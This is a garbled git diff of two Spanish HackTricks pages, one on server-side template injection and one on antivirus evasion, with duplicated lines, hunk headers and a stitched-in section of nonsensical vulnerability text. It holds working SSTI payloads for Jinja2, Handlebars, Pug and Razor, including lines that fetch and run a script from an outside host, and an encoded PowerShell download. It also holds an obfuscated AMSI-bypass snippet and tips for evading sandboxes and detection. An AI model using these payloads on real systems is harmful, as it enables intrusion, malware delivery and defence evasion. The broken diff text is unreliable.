# Inyección de plantillas en el lado del servidor (SSTI)
La inyección de plantillas en el lado del servidor (SSTI) es una vulnerabilidad que permite a un atacante ejecutar código en el servidor a través de la inyección de código en una plantilla. Esta vulnerabilidad es común en aplicaciones web que utilizan plantillas para generar contenido dinámico.
## Ejemplos de SSTI
### Jinja2
Jinja2 es un motor de plantillas para Python. Es comúnmente utilizado en aplicaciones web de Python, como Flask y Django.
#### Ejemplo 1: Accediendo a variables globales
```python
{% for key, value in globals().items() %}
{{ key }}: {{ value }}
{% endfor %}
```
#### Ejemplo 2: Ejecutando comandos del sistema
```python
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}
```
### Twig
Twig es un motor de plantillas para PHP. Es comúnmente utilizado en aplicaciones web de PHP, como Symfony.
#### Ejemplo 1: Accediendo a variables globales
```php
{{ dump(_context) }}
```
#### Ejemplo 2: Ejecutando comandos del sistema
```php
{{ system('id') }}
```
## Prevención de SSTI
Para prevenir la inyección de plantillas en el lado del servidor, se deben seguir las siguientes prácticas recomendadas:
- Validar y sanitizar todas las entradas de usuario.
- Limitar el acceso a las variables globales y a las funciones peligrosas.
- Utilizar un motor de plantillas que tenga una política de seguridad sólida.
- Mantener el software actualizado con las últimas correcciones de seguridad.
plantilla de diseño:
```html
<html>
<head>
<title><?=$this->e($title)?></title>
</head>
<body>
<?=$this->section('content')?>
</body>
<head>
<title><?=$this->e($title)?></title>
</head>
<body>
<?=$this->section('content')?>
</body>
</html>
```
### PHPlib y HTML\_Template\_PHPLIB (PHP)
@ -675,49 +644,50 @@ Para prevenir la inyección de plantillas en el lado del servidor, se deben segu
`authors.tpl`
```html
<html>
<head><title>{PAGE_TITLE}</title></head>
<body>
<table>
<caption>Authors</caption>
<thead>
<tr><th>Name</th><th>Email</th></tr>
</thead>
<tfoot>
<tr><td colspan="2">{NUM_AUTHORS}</td></tr>
</tfoot>
<tbody>
<head><title>{PAGE_TITLE}</title></head>
<body>
<table>
<caption>Authors</caption>
<thead>
<tr><th>Name</th><th>Email</th></tr>
</thead>
<tfoot>
<tr><td colspan="2">{NUM_AUTHORS}</td></tr>
</tfoot>
<tbody>
<!-- BEGIN authorline -->
<tr><td>{AUTHOR_NAME}</td><td>{AUTHOR_EMAIL}</td></tr>
<tr><td>{AUTHOR_NAME}</td><td>{AUTHOR_EMAIL}</td></tr>
<!-- END authorline -->
</tbody>
</table>
</body>
</tbody>
</table>
</body>
</html>
```
# `authors.php`
## Descripción
La página `authors.php` muestra información sobre los autores del sitio web.
Este archivo es una página web que muestra información sobre los autores de un blog. La información se muestra utilizando plantillas del lado del servidor.
## Vulnerabilidad
La página `authors.php` es vulnerable a la inyección de plantillas en el lado del servidor (SSTI) debido a que el parámetro `author` no está siendo sanitizado adecuadamente antes de ser utilizado en una función de renderizado de plantillas.
## Impacto
Un atacante podría explotar esta vulnerabilidad para ejecutar código arbitrario en el servidor y obtener acceso no autorizado a información confidencial.
Este archivo es vulnerable a la inyección de plantillas del lado del servidor (SSTI). Un atacante puede enviar una carga útil maliciosa a través de la URL que puede ser interpretada por el servidor como una plantilla y ejecutada. Esto puede permitir al atacante leer archivos del sistema, ejecutar comandos en el servidor y obtener acceso a información confidencial.
## Ejemplo de explotación
```
https://example.com/authors.php?author={{7*7}}
```
## Reproducción
1. Navegue a la página `authors.php`.
2. Agregue `?author={{7*7}}` al final de la URL y presione Enter.
3. La página mostrará información sobre el autor cuyo ID es 49.
## Solución
Se debe implementar una sanitización adecuada de los parámetros de entrada antes de ser utilizados en funciones de renderizado de plantillas.
Para evitar la inyección de plantillas del lado del servidor, se debe validar y sanitizar cualquier entrada del usuario que se utilice en las plantillas. También se puede utilizar una biblioteca de plantillas que tenga una función de escape incorporada para evitar la ejecución de código malicioso.
```php
<?php
//we want to display this author list
$authors = array(
'Christian Weiske' => 'cweiske@php.net',
'Bjoern Schotte' => 'schotte@mayflower.de'
'Christian Weiske' => 'cweiske@php.net',
'Bjoern Schotte' => 'schotte@mayflower.de'
);
require_once 'HTML/Template/PHPLIB.php';
@ -734,9 +704,9 @@ $t->setVar('PAGE_TITLE', 'Code authors as of ' . date('Y-m-d'));
//display the authors
foreach ($authors as $name => $email) {
$t->setVar('AUTHOR_NAME', $name);
$t->setVar('AUTHOR_EMAIL', $email);
$t->parse('authorline_ref', 'authorline', true);
$t->setVar('AUTHOR_NAME', $name);
$t->setVar('AUTHOR_EMAIL', $email);
$t->parse('authorline_ref', 'authorline', true);
}
//finish and echo
@ -745,11 +715,7 @@ echo $t->finish($t->parse('OUT', 'authors'));
```
### Jade (NodeJS)
Jade es un motor de plantillas para NodeJS que permite la creación de HTML de manera más fácil y rápida. Jade utiliza una sintaxis simplificada que permite la creación de plantillas de manera más eficiente. Sin embargo, esta sintaxis simplificada también puede ser vulnerable a la inyección de código en el lado del servidor.
Para explotar una vulnerabilidad de inyección de plantillas en Jade, un atacante puede enviar una entrada maliciosa que contenga código malicioso. Este código malicioso se ejecutará en el servidor y puede permitir al atacante acceder a información confidencial o tomar el control del servidor.
Para prevenir la inyección de plantillas en Jade, se recomienda validar y sanitizar todas las entradas de usuario antes de procesarlas. También se recomienda utilizar la última versión de Jade y mantenerla actualizada para evitar vulnerabilidades conocidas.
Jade es un motor de plantillas para NodeJS que permite a los desarrolladores crear vistas HTML de manera más fácil y rápida. Jade utiliza una sintaxis simplificada y elegante que permite a los desarrolladores escribir menos código y crear vistas más limpias y legibles. Sin embargo, esta simplicidad también puede ser una vulnerabilidad, ya que los atacantes pueden aprovechar las vulnerabilidades de inyección de plantillas del lado del servidor (SSTI) para ejecutar código malicioso en el servidor.
```javascript
- var x = root.process
- x = x.mainModule.require
@ -770,49 +736,43 @@ Para prevenir la inyección de plantillas en Jade, se recomienda validar y sanit
> [patTemplate](https://github.com/wernerwa/pat-template) es un motor de plantillas PHP que no compila y que utiliza etiquetas XML para dividir un documento en diferentes partes.
```xml
<patTemplate:tmpl name="page">
This is the main page.
<patTemplate:tmpl name="foo">
It contains another template.
</patTemplate:tmpl>
<patTemplate:tmpl name="hello">
Hello {NAME}.<br/>
</patTemplate:tmpl>
This is the main page.
<patTemplate:tmpl name="foo">
It contains another template.
</patTemplate:tmpl>
<patTemplate:tmpl name="hello">
Hello {NAME}.<br/>
</patTemplate:tmpl>
</patTemplate:tmpl>
```
### Handlebars (NodeJS)
Traversing de ruta (más información [aquí](https://blog.shoebpatel.com/2021/01/23/The-Secret-Parameter-LFR-and-Potential-RCE-in-NodeJS-Apps/)).
Travesía de ruta (más información [aquí](https://blog.shoebpatel.com/2021/01/23/The-Secret-Parameter-LFR-and-Potential-RCE-in-NodeJS-Apps/)).
```bash
curl -X 'POST' -H 'Content-Type: application/json' --data-binary $'{\"profile\":{"layout\": \"./../routes/index.js\"}}' 'http://ctf.shoebpatel.com:9090/'
```
* \= Error
* ${7\*7} = ${7\*7}
* Nothing
---
* \= Error
* ${7\*7} = ${7\*7}
* Nada
```java
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').exec('whoami');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').exec('whoami');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}
URLencoded:
@ -851,7 +811,7 @@ URLencoded:
* `#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('touch /tmp/pwned.txt')}()}`
* `#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('curl 10.10.14.3:8001/s.sh | bash')}()}`
**Ejemplo de renderizado del lado del servidor**
**Ejemplo de renderización del lado del servidor**
```javascript
var pugjs = require('pug');
home = pugjs.render(injected_page)
@ -907,7 +867,7 @@ home = pugjs.render(injected_page)
### Python
Visita la siguiente página para aprender trucos sobre **bypassing de ejecución de comandos arbitrarios en python**:
Visite la siguiente página para aprender trucos sobre **bypassing de ejecución de comandos arbitrarios en python** en entornos seguros:
{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %}
[bypass-python-sandboxes](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/)
@ -939,7 +899,7 @@ Visita la siguiente página para aprender trucos sobre **bypassing de ejecución
[Sitio web oficial](http://jinja.pocoo.org)
> Jinja2 es un motor de plantillas completo para Python. Tiene soporte completo de Unicode, un entorno de ejecución en sandbox opcional, ampliamente utilizado y con licencia BSD.
> Jinja2 es un motor de plantillas completo para Python. Tiene soporte completo de Unicode, un entorno de ejecución en sandbox opcional integrado, ampliamente utilizado y con licencia BSD.
* `{{7*7}} = Error`
* `${7*7} = ${7*7}`
@ -963,15 +923,17 @@ Visita la siguiente página para aprender trucos sobre **bypassing de ejecución
{{7*'7'}} would result in 7777777
```
**Jinja2 - Formato de plantilla**
Jinja2 es un motor de plantillas para Python. Es utilizado por Flask y otros frameworks web de Python para renderizar plantillas HTML. Las plantillas de Jinja2 se componen de bloques, variables y expresiones. Los bloques son secciones de la plantilla que pueden ser sobrescritas por plantillas que heredan de ellas. Las variables son valores que son pasados a la plantilla para ser renderizados. Las expresiones son evaluadas y renderizadas en la plantilla.
```python
{% raw %}
{% extends "layout.html" %}
{% block body %}
<ul>
{% for user in users %}
<li><a href="{{ user.url }}">{{ user.username }}</a></li>
{% endfor %}
</ul>
<ul>
{% for user in users %}
<li><a href="{{ user.url }}">{{ user.username }}</a></li>
{% endfor %}
</ul>
{% endblock %}
{% endraw %}
@ -996,7 +958,7 @@ Visita la siguiente página para aprender trucos sobre **bypassing de ejecución
### Mako (Python)
Mako es un motor de plantillas de Python que también puede ser vulnerable a la inyección de plantillas del lado del servidor (SSTI). Al igual que con Jinja, la inyección de plantillas Mako se produce cuando se permite que el usuario proporcione una entrada que se procesa como una plantilla. La entrada del usuario se evalúa como código Python en el servidor, lo que permite al atacante ejecutar código arbitrario en el contexto del servidor. Para obtener más información sobre cómo explotar la inyección de plantillas Mako, consulte la siguiente referencia:
Mako es un motor de plantillas de Python que también es vulnerable a la inyección de plantillas del lado del servidor (SSTI). Al igual que con Jinja, la inyección de plantillas Mako se produce cuando se permite que el usuario proporcione una entrada que se procesa como una plantilla. Para obtener más información sobre cómo abusar de Mako, consulte la siguiente referencia:
{% content-ref url="mako-ssti.md" %}
[mako-ssti.md](mako-ssti.md)
@ -1019,9 +981,9 @@ ${x}
* `@(1+2)`
* `@( //C#Code )`
* `@System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");`
* `@System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AMQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwMAXABUAGEAcwBrAHMAXAB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlAA==");`
* `@System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AMQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBXAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGEAcwBrAHMAXAB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlAA==");`
El método `System.Diagnostics.Process.Start` de .NET se puede utilizar para iniciar cualquier proceso en el servidor y, por lo tanto, crear un webshell. Puede encontrar un ejemplo de aplicación web vulnerable en [https://github.com/cnotin/RazorVulnerableApp](https://github.com/cnotin/RazorVulnerableApp)
El método `System.Diagnostics.Process.Start` de .NET se puede utilizar para iniciar cualquier proceso en el servidor y, por lo tanto, crear un webshell. Puede encontrar un ejemplo de aplicación web vulnerable en [https://github.com/cnotin/RazorVulnerableApp](https://github.com/cnotin/RazorVulnerableApp)
**Más información**
@ -1053,30 +1015,30 @@ Aunque sea perl, utiliza etiquetas como ERB en Ruby.
```
### SSTI en GO
Para confirmar que el motor de plantillas utilizado en el backend es Go, puedes utilizar estas cargas útiles:
Para confirmar que el motor de plantillas utilizado en el backend es Go, puedes usar estas cargas útiles:
* `{{ . }}` = estructura de datos que se pasa como entrada a la plantilla
* Si los datos pasados son un objeto que contiene el atributo Password, por ejemplo, la carga anterior lo filtraría, pero también podrías hacer: `{{ .Password }}`
* Si los datos pasados son un objeto que contiene el atributo Password, por ejemplo, la carga anterior lo filtraría, pero también podrías hacer: `{{ .Password }}`
* `{{printf "%s" "ssti" }}` = debería mostrar la cadena ssti en la respuesta
* `{{html "ssti"}}`, `{{js "ssti"}}` = Estas son algunas otras cargas útiles que deberían mostrar la cadena "ssti" sin las palabras finales "js" o "html". Puedes consultar más palabras clave en el motor [aquí](https://golang.org/pkg/text/template).
**Explotación de XSS**
Si el servidor está **utilizando el paquete text/template**, es muy fácil lograr XSS simplemente proporcionando tu **carga útil** como entrada. Sin embargo, ese no es el caso con html/template ya que codifica en HTML la respuesta: `{{"<script>alert(1)</script>"}}` --> `&lt;script&gt;alert(1)&lt;/script&gt;`
Si el servidor está **usando el paquete text/template**, es muy fácil lograr XSS simplemente proporcionando tu **carga útil** como entrada. Sin embargo, ese no es el caso con html/template ya que codifica en HTML la respuesta: `{{"<script>alert(1)</script>"}}` --> `&lt;script&gt;alert(1)&lt;/script&gt;`
Sin embargo, Go permite **DEFINIR** una **plantilla completa** y luego **llamarla más tarde**. La carga útil sería algo como:\
Sin embargo, Go permite **DEFINIR** una **plantilla** completa y luego **llamarla más tarde**. La carga útil será algo como:\
`{{define "T1"}}<script>alert(1)</script>{{end}} {{template "T1"}}`
**Explotación de RCE**
La documentación para ambos módulos html/template se puede encontrar [aquí](https://golang.org/pkg/html/template/), y la documentación para el módulo text/template se puede encontrar [aquí](https://golang.org/pkg/text/template/), y sí, varían mucho. Por ejemplo, en **text/template**, puedes **llamar directamente cualquier función pública con el valor "call"**, sin embargo, este no es el caso con html/template.
Si quieres encontrar una RCE en Go a través de SSTI, debes saber que como puedes acceder al objeto dado a la plantilla con `{{ . }}`, también puedes **llamar a los métodos de los objetos**. Entonces, imagina que el **objeto pasado tiene un método llamado System** que ejecuta el comando dado, podrías abusar de él con: `{{ .System "ls" }}`\
Por lo tanto, probablemente **necesitarás el código fuente**. Un código fuente potencial para algo así se vería así:
Si quieres encontrar una RCE en go a través de SSTI, debes saber que como puedes acceder al objeto dado a la plantilla con `{{ . }}`, también puedes **llamar a los métodos de los objetos**. Entonces, imagina que el **objeto pasado tiene un método llamado System** que ejecuta el comando dado, podrías abusar de él con: `{{ .System "ls" }}`\
Por lo tanto, probablemente **necesitarás el código fuente**. Un código fuente potencial para algo así se verá como:
```go
func (p Person) Secret (test string) string {
out, _ := exec.Command(test).CombinedOutput()
return string(out)
out, _ := exec.Command(test).CombinedOutput()
return string(out)
}
```
**Más información**

View File

@ -1,12 +1,12 @@
# Bypass de Antivirus (AV)
# Evadir Antivirus (AV)
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de exclusivos [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PR al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
@ -35,7 +35,7 @@ A veces, todo lo que necesitas hacer es cambiar algunas cadenas en tu binario o
Si desarrollas tus propias herramientas, no habrá firmas maliciosas conocidas, pero esto requiere mucho tiempo y esfuerzo.
{% hint style="info" %}
Una buena forma de comprobar la detección estática de Windows Defender es [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck). Básicamente divide el archivo en varios segmentos y luego le pide a Defender que escanee cada uno individualmente, de esta manera, puede decirte exactamente cuáles son las cadenas o bytes marcados en tu binario.
Una buena forma de comprobar la detección estática de Windows Defender es [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck). Básicamente divide el archivo en múltiples segmentos y luego le pide a Defender que escanee cada uno individualmente, de esta manera, puede decirte exactamente cuáles son las cadenas o bytes marcados en tu binario.
{% endhint %}
Recomiendo encarecidamente que revises esta [lista de reproducción de YouTube](https://www.youtube.com/playlist?list=PLj05gPj8rk\_pkb12mDe4PgYZ5qPxhGKGf) sobre la evasión práctica de AV.
@ -44,35 +44,48 @@ Recomiendo encarecidamente que revises esta [lista de reproducción de YouTube](
El análisis dinámico es cuando el AV ejecuta tu binario en un sandbox y observa la actividad maliciosa (por ejemplo, intentar descifrar y leer las contraseñas de tu navegador, realizar un minivolcado en LSASS, etc.). Esta parte puede ser un poco más complicada de trabajar, pero aquí hay algunas cosas que puedes hacer para evadir los sandboxes.
* **Dormir antes de la ejecución** Dependiendo de cómo se implemente, puede ser una excelente manera de evitar el análisis dinámico del AV. Los AV tienen muy poco tiempo para escanear archivos para no interrumpir el flujo de trabajo del usuario, por lo que usar largas pausas puede perturbar el análisis de los binarios. El problema es que muchos sandboxes de AV pueden simplemente saltarse la pausa dependiendo de cómo se implemente.
* **Dormir antes de la ejecución** Dependiendo de cómo se implemente, puede ser una excelente manera de evitar el análisis dinámico del AV. Los AV tienen muy poco tiempo para escanear archivos para no interrumpir el flujo de trabajo del usuario, por lo que usar largos tiempos de espera puede perturbar el análisis de los binarios. El problema es que muchos sandboxes de AV pueden simplemente saltarse el tiempo de espera dependiendo de cómo se implemente.
* **Comprobar los recursos de la máquina** Por lo general, los sandboxes tienen muy pocos recursos para trabajar (por ejemplo, <2 GB de RAM), de lo contrario podrían ralentizar la máquina del usuario. También puedes ser muy creativo aquí, por ejemplo, comprobando la temperatura de la CPU o incluso las velocidades del ventilador, no todo estará implementado en el sandbox.
* **Comprobaciones específicas de la máquina** Si quieres atacar a un usuario cuya estación de trabajo está unida al dominio "contoso.local", puedes comprobar el dominio del ordenador para ver si coincide con el que has especificado, si no lo hace, puedes hacer que tu programa se cierre.
* **Comprobaciones específicas de la máquina** Si quieres atacar a un usuario cuya estación de trabajo está unida al dominio "contoso.local", puedes hacer una comprobación en el dominio del ordenador para ver si coincide con el que has especificado, si no lo hace, puedes hacer que tu programa se cierre.
Resulta que el nombre del equipo Sandbox de Microsoft Defender es HAL9TH, por lo que puedes comprobar el nombre del equipo en tu malware antes de la detonación, si el nombre coincide con HAL9TH, significa que estás dentro del sandbox de Defender, por lo que puedes hacer que tu programa se cierre.
<figure><img src="../.gitbook/assets/image (3) (6).png" alt=""><figcaption><p>fuente: <a href="https://youtu.be/StSLxFbVz0M?t=1439">https://youtu.be/StSLxFbVz0M?t=1439</a></p></figcaption></figure>
Algunos otros consejos muy buenos de [@mgeeky](https://twitter.com/mariuszbit) para ir en contra de los Sandboxes
Algunos otros consejos realmente buenos de [@mgeeky](https://twitter.com/mariuszbit) para ir en contra de los Sandboxes
<figure><img src="../.gitbook/assets/image (2) (1) (1) (2) (1).png" alt=""><figcaption><p><a href="https://discord.com/servers/red-team-vx-community-1012733841229746240">Red Team VX Discord</a> #malware-dev channel</p></figcaption></figure>
Como hemos dicho antes en esta publicación, las **herramientas públicas** eventualmente **serán detectadas**, así que, deberías preguntarte algo:
Como hemos dicho antes en esta publicación, las **herramientas públicas** eventualmente **serán detectadas**, así que debes preguntarte algo:
Por ejemplo, si quieres volcar LSASS, ¿realmente necesitas usar mimikatz? ¿O podrías usar un proyecto diferente que sea menos conocido y también volque LSASS?
La respuesta correcta probablemente es la última. Tomando mimikatz como ejemplo, probablemente sea uno de, si no el malware más marcado por los AV y EDR, mientras que el proyecto en sí es súper genial, también es una pesadilla trabajar con él para evitar los AV, así que busca alternativas para lo que estás tratando de lograr.
La respuesta correcta probablemente sea la última. Tomando mimikatz como ejemplo, probablemente sea uno de, si no el malware más marcado por los AV y EDR, mientras que el proyecto en sí es súper genial, también es una pesadilla trabajar con él para evadir los AV, así que busca alternativas para lo que estás tratando de lograr.
{% hint style="info" %}
Cuando modifiques tus cargas útiles para la evasión, asegúrate de **desactivar la presentación automática de muestras** en Defender, y por favor, en serio, **NO SUBAS A VIRUSTOTAL** si tu objetivo es lograr la evasión a largo plazo. Si quieres comprobar si tu carga útil es detectada por un AV en particular, instálalo en una VM, intenta desactivar la presentación automática de muestras y pruébalo allí hasta que estés satisfecho con el resultado.
{% endhint %}
## EXEs vs DLLs
Siempre que sea posible, **prioriza el uso de DLLs para la evasión**, en mi experiencia
Siempre que sea posible, **priorice el uso de DLLs para la evasión**, en mi experiencia, los archivos DLL suelen ser **mucho menos detectados** y analizados, por lo que es un truco muy simple de usar para evitar la detección en algunos casos (si su carga útil tiene alguna forma de ejecutarse como una DLL, por supuesto).
Como podemos ver en esta imagen, una carga útil DLL de Havoc tiene una tasa de detección de 4/26 en antiscan.me, mientras que la carga útil EXE tiene una tasa de detección de 7/26.
<figure><img src="../.gitbook/assets/image (6) (3) (1).png" alt=""><figcaption><p>Comparación de antiscan.me de una carga útil Havoc EXE normal frente a una carga útil Havoc DLL normal</p></figcaption></figure>
Ahora mostraremos algunos trucos que puede usar con archivos DLL para ser mucho más sigiloso.
## DLL Sideloading y Proxying
**DLL Sideloading** aprovecha el orden de búsqueda de DLL utilizado por el cargador al colocar tanto la aplicación víctima como las cargas útiles maliciosas juntas.
Puede verificar los programas susceptibles a DLL Sideloading utilizando [Siofra](https://github.com/Cybereason/siofra) y el siguiente script de PowerShell:
{% code overflow="wrap" %}
```powershell
Get-ChildItem -Path "C:\Program Files\" -Filter *.exe -Recurse -File -Name| ForEach-Object {
$binarytoCheck = "C:\Program Files\" + $_
C:\Users\user\Desktop\Siofra64.exe --mode file-scan --enum-dependency --dll-hijack -f $binarytoCheck
$binarytoCheck = "C:\Program Files\" + $_
C:\Users\user\Desktop\Siofra64.exe --mode file-scan --enum-dependency --dll-hijack -f $binarytoCheck
}
```
{% endcode %}
@ -81,9 +94,9 @@ Este comando mostrará la lista de programas susceptibles a DLL hijacking dentro
Recomiendo encarecidamente que **exploréis vosotros mismos los programas DLL Hijackable/Sideloadable**, esta técnica es bastante sigilosa si se hace correctamente, pero si utilizáis programas DLL Sideloadable conocidos públicamente, podéis ser descubiertos fácilmente.
Simplemente colocando una DLL maliciosa con el nombre que espera cargar un programa, no cargará vuestro payload, ya que el programa espera algunas funciones específicas dentro de esa DLL, para solucionar este problema, utilizaremos otra técnica llamada **DLL Proxying/Forwarding**.
Simplemente colocando una DLL maliciosa con el nombre que espera cargar un programa, no cargará vuestra carga útil, ya que el programa espera algunas funciones específicas dentro de esa DLL, para solucionar este problema, utilizaremos otra técnica llamada **DLL Proxying/Forwarding**.
**DLL Proxying** reenvía las llamadas que un programa hace desde la DLL proxy (y maliciosa) a la DLL original, preservando así la funcionalidad del programa y pudiendo manejar la ejecución de vuestro payload.
**DLL Proxying** reenvía las llamadas que un programa hace desde la DLL proxy (y maliciosa) a la DLL original, preservando así la funcionalidad del programa y pudiendo manejar la ejecución de vuestra carga útil.
Utilizaré el proyecto [SharpDLLProxy](https://github.com/Flangvik/SharpDllProxy) de [@flangvik](https://twitter.com/Flangvik/)
@ -155,7 +168,7 @@ Ejecutar `IEX (New-Object Net.WebClient).DownloadString('https://raw.githubuserc
<figure><img src="../.gitbook/assets/image (4) (5).png" alt=""><figcaption></figcaption></figure>
Observe cómo agrega `amsi:` y luego la ruta al ejecutable desde el cual se ejecutó el script, en este caso, powershell.exe
Observe cómo agrega `amsi:` y luego la ruta del ejecutable desde el cual se ejecutó el script, en este caso, powershell.exe
No dejamos ningún archivo en el disco, pero aún así nos atraparon en la memoria debido a AMSI.
@ -165,7 +178,7 @@ Hay un par de formas de evitar AMSI:
Dado que AMSI funciona principalmente con detecciones estáticas, modificar los scripts que intentas cargar puede ser una buena manera de evadir la detección.
Sin embargo, AMSI tiene la capacidad de desobfuscatear scripts incluso si tiene múltiples capas, por lo que la obfuscación podría ser una mala opción dependiendo de cómo se haga. Esto hace que no sea tan sencillo evadirlo. Aunque, a veces, todo lo que necesitas hacer es cambiar un par de nombres de variables y estarás bien, por lo que depende de cuánto se haya marcado algo.
Sin embargo, AMSI tiene la capacidad de desobfuscatear scripts incluso si tiene múltiples capas, por lo que la obfuscación podría ser una mala opción dependiendo de cómo se haga. Esto hace que no sea tan sencillo evadirlo. Aunque a veces, todo lo que necesitas hacer es cambiar un par de nombres de variables y estarás bien, por lo que depende de cuánto se haya marcado algo.
* **Bypass de AMSI**
@ -182,16 +195,16 @@ Todo lo que se necesitó fue una línea de código de powershell para hacer que
Aquí hay un bypass de AMSI modificado que tomé de este [Github Gist](https://gist.github.com/r00t-3xp10it/a0c6a368769eec3d3255d4814802b5db).
```powershell
Try{#Ams1 bypass technic nº 2
$Xdatabase = 'Utils';$Homedrive = 'si'
$ComponentDeviceId = "N`onP" + "ubl`ic" -join ''
$DiskMgr = 'Syst+@.M£n£g' + 'e@+nt.Auto@' + '£tion.A' -join ''
$fdx = '@ms' + '£In£' + 'tF@£' + 'l+d' -Join '';Start-Sleep -Milliseconds 300
$CleanUp = $DiskMgr.Replace('@','m').Replace('£','a').Replace('+','e')
$Rawdata = $fdx.Replace('@','a').Replace('£','i').Replace('+','e')
$SDcleanup = [Ref].Assembly.GetType(('{0}m{1}{2}' -f $CleanUp,$Homedrive,$Xdatabase))
$Spotfix = $SDcleanup.GetField($Rawdata,"$ComponentDeviceId,Static")
$Spotfix.SetValue($null,$true)
}Catch{Throw $_}
$Xdatabase = 'Utils';$Homedrive = 'si'
$ComponentDeviceId = "N`onP" + "ubl`ic" -join ''
$DiskMgr = 'Syst+@.M£n£g' + 'e@+nt.Auto@' + '£tion.A' -join ''
$fdx = '@ms' + '£In£' + 'tF@£' + 'l+d' -Join '';Start-Sleep -Milliseconds 300
$CleanUp = $DiskMgr.Replace('@','m').Replace('£','a').Replace('+','e')
$Rawdata = $fdx.Replace('@','a').Replace('£','i').Replace('+','e')
$SDcleanup = [Ref].Assembly.GetType(('{0}m{1}{2}' -f $CleanUp,$Homedrive,$Xdatabase))
$Spotfix = $SDcleanup.GetField($Rawdata,"$ComponentDeviceId,Static")
$Spotfix.SetValue($null,$true)
}Catch{Throw $_}
```
Ten en cuenta que esto probablemente será detectado una vez que se publique esta publicación, por lo que no debes publicar ningún código si tu plan es permanecer indetectable.
@ -207,12 +220,12 @@ También hay muchas otras técnicas utilizadas para evitar AMSI con powershell,
## Ofuscación
Existen varias herramientas que se pueden utilizar para **ofuscar el código C# en texto claro**, generar **plantillas de metaprogramación** para compilar binarios u **ofuscar binarios compilados** como:
Existen varias herramientas que se pueden utilizar para **ofuscar el código claro de C#**, generar **plantillas de metaprogramación** para compilar binarios u **ofuscar binarios compilados** como:
* [**InvisibilityCloak**](https://github.com/h4wkst3r/InvisibilityCloak)**: ofuscador de C#**
* [**Obfuscator-LLVM**](https://github.com/obfuscator-llvm/obfuscator): El objetivo de este proyecto es proporcionar un fork de código abierto del conjunto de compilación [LLVM](http://www.llvm.org/) capaz de proporcionar una mayor seguridad del software a través de la [ofuscación de código](http://en.wikipedia.org/wiki/Obfuscation\_\(software\)) y la protección contra manipulaciones.
* [**ADVobfuscator**](https://github.com/andrivet/ADVobfuscator): ADVobfuscator demuestra cómo utilizar el lenguaje `C++11/14` para generar, en tiempo de compilación, código ofuscado sin utilizar ninguna herramienta externa y sin modificar el compilador.
* [**obfy**](https://github.com/fritzone/obfy): Agrega una capa de operaciones ofuscadas generadas por el marco de metaprogramación de plantillas C++ que hará la vida de la persona que quiera crackear la aplicación un poco más difícil.
